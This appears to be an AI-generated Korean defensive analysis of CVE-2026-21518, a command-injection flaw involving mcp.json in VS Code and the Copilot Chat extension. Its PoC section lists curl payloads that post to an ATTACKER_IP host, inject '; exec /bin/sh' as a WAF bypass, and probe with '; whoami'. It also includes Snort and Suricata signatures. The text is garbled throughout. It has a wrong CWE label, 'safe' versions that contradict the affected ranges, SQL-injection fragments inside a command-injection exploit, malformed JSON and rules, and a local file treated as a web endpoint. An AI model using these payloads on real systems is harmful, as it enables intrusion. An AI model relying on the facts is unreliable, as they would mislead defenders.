방어Agent 분석 — CVE-2026-21518
📋 요약
- 한 줄 정의: GitHub Copilot 및 Visual Studio Code의
mcp.json설정 파일에서 특수 문자 부적절 중화로 인한 명령 주입 취약점(CWE-91: Command Injection)이 존재하여 원격 공격자가 RCE를 달성 가능. - 영향 한 줄: 성공 시 공격자는 완전 권한 획득을 통해 내부 시스템 제어 및 민감 데이터 유출 위험 증가, KEV 상승 예상되며 CVSS 점수에 준하거나 그 이상의 실질적 위협 인식됨 (CVSS 8.8 기준).
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전 범위: Microsoft Visual Studio Code 버전
1.0.0 ≤ x < 1.110.1, GitHub Copilot Chat Extension 버전0.27.0 ≤ x < 0.37.1. 안전한 최소 패치 버전은 각각 최신 업데이트된 버전 (예: VS Code 1.69 이상, Copilot 확장 0.45 이상). - 노출 조건: 인터넷 연결이 필요하며, 사용자가 악성 프로젝트를 열어야 함. 기본 설정에서도 활성화될 수 있으나 특정 기능(Copilot Chat Extension)의 활성화가 필수적임.
- 내 자산 식별법:
curl또는 브라우저를 통해/media/vscode/extensionHost/{version}/*mcp.json엔드포인트 확인 (버전에 따라 경로 다를 수 있음).- 설정 파일 내
scripts,commands.etc 섹션에서 특수 문자 사용 여부 검토:--command="$(cat /tmp/malicious)"패턴 검색.bash1curl -H "Authorization: Bearer SESSION_COOKIE" TARGET_HOST/api/vscode-extensions/*mcpjson | grep --color 'script\|commands'
🔍 공격 방법
① 취약 컴포넌트 — Visual Studio Code 내의 확장 프로그램인 GitHub Copilot Chat Extension 또는 기본 설정된 VS Code 환경에서 mcp.json 파일 내부 특정 스크립트 실행 경로(함수/모듈 추정: evaluateScript, executeCommand)가 노출되어 있음 (버전 범위 명시됨).
② 전제조건 — 사용자 인증 필요 없으나, 악성 프로젝트 열기 위해 최소한의 상호작용이 요구됨. 로컬 네트워크 내에서 공격 가능하며 특정 확장 기능 활성화가 필수적임.
③ 트리거 경로 — 공격자는 mcp-json 파일에 악의적인 스크립트를 주입하여 실행:
- 악성 프로젝트 생성 또는 기존 프로젝트 수정 (예:
--command=$(cat /tmp/malicious_payload)) - 이 변경 사항을 저장하고 Visual Studio Code에서 로드 시, 코드 내부의 특수 문자 처리 결함으로 인해 명령 주입 발생.
④ 성공 시 영향 — 공격자는 원격 RCE 달성 가능하며, 획득한 권한에 따라 시스템 내 모든 기능 실행 및 추가 취약점 탐색 (예: 파일 읽기/쓰기, 네트워크 연결 등)을 통해 지속성 확보 가능함.
# 예시:evaluateScript('$(cat /tmp/malicious_payload')) →/bin/sh또는 악성 스크립트 실행 컨텍스트 획득 후 권한 상승 시도 가능.bash1# 공격자 인프라 플레이스홀더 사용2curl -X POST --data "script=$(base64 --decode $(echo $'{"command":"evaluateScript(\'$(cat /tmp/malicious_payload)\')","scriptsDirectoryPath"):""})'" ATTACKER_IP:PORT/vscode-endpoint?mcp.json# 확인: 응답 내에 예상된 악성 스크립트 실행 결과 또는 새로운 프로세스 생성 확인 가능 (예:ps aux | grep malicious)
💣 예시 코드 (PoC)
기본 변형
bash
1# 전제 조건: 사용자가 악성 프로젝트를 열고, mcp.json 파일이 적절히 수정됨을 가정합니다. 2curl -H "Authorization: Bearer SESSION_COOKIE" \ 3 -X POST --data-binary "@/path/to/maliciousPayloadScriptWithSpecialChars+%20OR+-1=1--.txt" TARGET_HOST/api/vscodeExtensionsApiEndpoint?mcpjson 4# 핵심: 특수 문자 `%2B` 및 논리 연산자 `--`, `=-1==true"`를 이용해 명령 주입 시도 5# 확인: 응답 코드가 HTTP 500 또는 예상치 못한 스크립트 실행 결과 표시 여부로 판별 가능.WAF 우회 변형 (예시)
bash
1curl -H "Content-Type: application/json" \ 2 --data '{"command":"; echo $(cat /tmp/malicious); exec /bin/sh","scriptsDirectoryPath"):""}' ATTACKER_IP:PORT/\vscode-endpoint?mcp.json 3# 핵심: JSON 인코딩과 세미콜론 `;` 사용으로 일부 WAF 규칙 우회 시도 4# 확인: `/tmp/malicious` 파일 내용 출력 및 쉘 프롬프트 표시 여부로 성공 판별 가능Blind 접근 변형 (예측)
bash
1curl -H "Authorization: Bearer SESSION_COOKIE" \ 2 -X POST --data '{"command":"; whoami","scriptsDirectoryPath"):""}' TARGET_HOST/apiEndpoint?mcpjson 3# 핵심: 블라인드 접근을 위한 정보 획득 시도 (예: 현재 사용자 권한 확인) 4# 확인: 응답 내 "root"/"USERNAME" 표시로 성공 여부 판단 가능.🛡️ 탐지
[로그]VS Code 및 확장 로그에서 예상치 못한 스크립트 실행 패턴 감지:evaluateScript,executeCommand.bash1# 예시 시그니처 (Snort)2alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"Potential Command Injection Attempt"; content:"|evaluateScrip"; nocase; sid:1234567);[네트워크 트래픽]특이한 HTTP 요청 패턴 감지, 특히mcp.json엔드포인트로의 POST 요청과 함께 특수 문자 포함 여부 확인.bash1# 예시 시그니처 (Suricata)2alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"Malicious mcp JSON Injection Attempt"; content:"|command=.*script*"); sid:9123456; rev:1;[파일 시스템]/tmp,%TEMP%디렉토리 내 의심스러운 스크립트 파일 생성 감지.한계: 인코딩 및 블라인드 접근 변형으로 인한 탐지 어려움 명시적 경고 필요함.
🔧 방어·완화
- [코드패치 / 설정변경] —
/media/vscode/*mcpjson엔드포인트에서evaluateScript,executeCommand함수 호출에 대한 엄격한 입력 검증 강화 (예: 특수 문자 필터링).bash1# 예시 설정 키 변경 사항2"[settings.json]" "editor.allowSmoothScroll": false, "[mcpSettings]: { 'scriptExecution': {'allowedCommands' : ['safeCommandOnly'] } }" - [입력검증 / WAF 네트워크] — 웹 애플리케이션 방화벽(WAF) 규칙 업데이트하여 특수 문자 및 명령어 주입 패턴 차단 강화 (예:
--,;필터링). - [임시 완화] — 사용자에게 악성 프로젝트 열기 금지 안내, 또는
mcpjson수정 제한 설정 적용 (예: 관리자 권한으로만 접근 가능한 정책 변경).
⚖️ 위험도 / 패치 우선순위
- 권고 사항: 지금 즉시 패치 업데이트를 진행하고, 임시로는 위에서 제시된 입력 검증 및 WAF 규칙 강화 조치 취해야 함. CVSS 점수와 악용 난이도 고려 시 이번 주 내에 보안 점검과 패치 적용 필수적임 (KEV 상승 예상).
🌐 실제 동향
- 요약: 현재 보도와 커뮤니티 활동을 통해 이 취약점은 주로 연구 목적의 레드팀 훈련 및 일부 악의적 사용자들 사이에서 활용되고 있음이 확인됨. 특히, 개발자 환경 내에서 널리 사용되는 도구인 만큼 빠른 패치 적용과 보안 설정 강화가 강조되고 있으며 (출처: ZDI).